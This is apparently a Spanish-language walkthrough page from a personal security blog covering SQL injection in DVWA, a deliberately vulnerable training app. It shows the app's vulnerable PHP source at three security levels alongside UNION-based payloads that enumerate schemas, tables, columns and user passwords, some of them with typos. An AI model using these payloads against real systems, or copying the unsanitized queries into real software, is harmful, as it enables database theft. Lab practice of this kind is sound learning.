BARIH0x
GITHUBHTB
  • 📀BARIHO
    • 📜 CERTIFICACIONES
      • ✅eJPT
      • ✅OSWP
      • OSCP
  • 🛡️ PROYECTOS
    • ⚙️HOME LAB
      • 🍓PI-HOLE
      • 🗄️OPENMEDIAVAULT
      • ⛓️HOME ASSISTANTS [TRABAJANDO]
      • 🌐OPNSense [PROXIMO]
    • ⛔T-POT
  • ⚔️ WALKTHROUGH
    • 📄 HackTheBox
      • Legacy
      • Blue
      • Lame
    • 📄 TryHackme
      • 27 ~ Cmess - Linux
      • 26 ~ Battery - Linux
      • 25 ~ ConvertMyVideo - Linux
      • 24 ~ DogCat - Linux
      • 23 ~ Wonderland - Linux
      • 22 ~ Lian_Yu - Linux
      • 21 ~ Tomghost - Linux
      • 20 ~ LazyAdmin - Linux
      • 19 ~Boiler CTF - Linux
      • 18 ~ Couchdb - Linux
      • 17 ~ 0day - Linux
      • 16 ~ Brute It - Linux
      • 15 ~ Blog - Linux
      • 14 ~ Madness - Linux
      • 13 ~ Year Of The Rabbit - Linux
      • 12 ~ Inclusion - Linux
      • 11 ~ UltraTech - Linux
      • 10 ~ Anonymous - Linux
      • 9 ~ Ignite - Linux
      • 8 ~ Vulnversity - Linux
      • 7 ~ Basic Pentesting - Linux
      • 6 ~ MrRobot - Linux
      • 5 ~ Agent-Sudo - Linux
      • 4 ~ EasyCTF - Linux
      • 3 ~ Thompson - Linux
      • 2 ~ RootMe - Linux
      • 1 ~ Bounty Hacker - Linux
    • 🎮 OverTheWire
      • BANDIT
      • NATAS
        • Natas 0
    • 🎮 DVWA
      • Instalación DVWA (XAMPP)
      • Instalación DVWA (DOCKER)
      • Command Injection
      • File Inclusion
      • SQL Injection
  • 🛠️RECURSOS
  • Herramientas
  • 🗃️ Scripts
    • KillSSH
  • 💣 Maquinas
    • Login Wordpress - MrRobot
    • Fuzzing - Madness
  • 🔎 LINKS DE INTERERES
Con tecnología de GitBook
En esta página
  • Low Security Level
  • Medium Security Level
  • High Security Level
  • Impossible Security Level
  1. ⚔️ WALKTHROUGH
  2. 🎮 DVWA

SQL Injection

Low Security Level

No tiene medida de seguridad.

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

LISTAR BASE DE DATOS:

a' UNION SELECT schema_name, "2" FROM information_schema.schemata;-- -

LISTAR TABLAS:

a' UNION SELECT table_name, "2" FROM information_schema.tables; -- -

LISTAR COLUMNAS:

a' UNION SELECT column_name, "2 FROM information_schema.columns;-- -

LISTAR USUARIOS:

a' UNION SELECT first_name, password FROM dvwa.users; -- -

Medium Security Level

Malas practicas de seguridad.

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>
  • (CON BURSUITE)

LISTAR BASE DE DATOS:

id= 1 UNION SELECT schema_name, version() FROM information_schema.schemata;- -

LISTAR TABLAS:

id= 1 UNION SELECT table_name, version() FROM information_schema.tables;- -

LSITAR COLUMNAS:

id= 1 UNION SELECT column_name, version() FROM information_schema.columns;- -

LISTAR USUARIOS:

id= 1 UNION SELECT user, password FROM dvwa.users;- -

High Security Level

Malas prácticas más duras o alternativas.

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

SIMILAR al Low Security Level.

LISTAR BASE DE DATOS:

a' UNION SELECT schema_name, "2" FROM information_schema.schemata;-- -

LISTAR TABLAS:

a' UNION SELECT table_name, "2" FROM information_schema.tables; -- -

LSITAR COLUMNAS:

a' UNION SELECT column_name, "2 FROM information_schema.columns;-- -

LISTAR USUARIOS:

a' UNION SELECT first_name, password FROM dvwa.users; -- -

Impossible Security Level

Segura contra todas las vulnerabilidades.

AnteriorFile InclusionSiguiente🛠️RECURSOS

Última actualización hace 3 años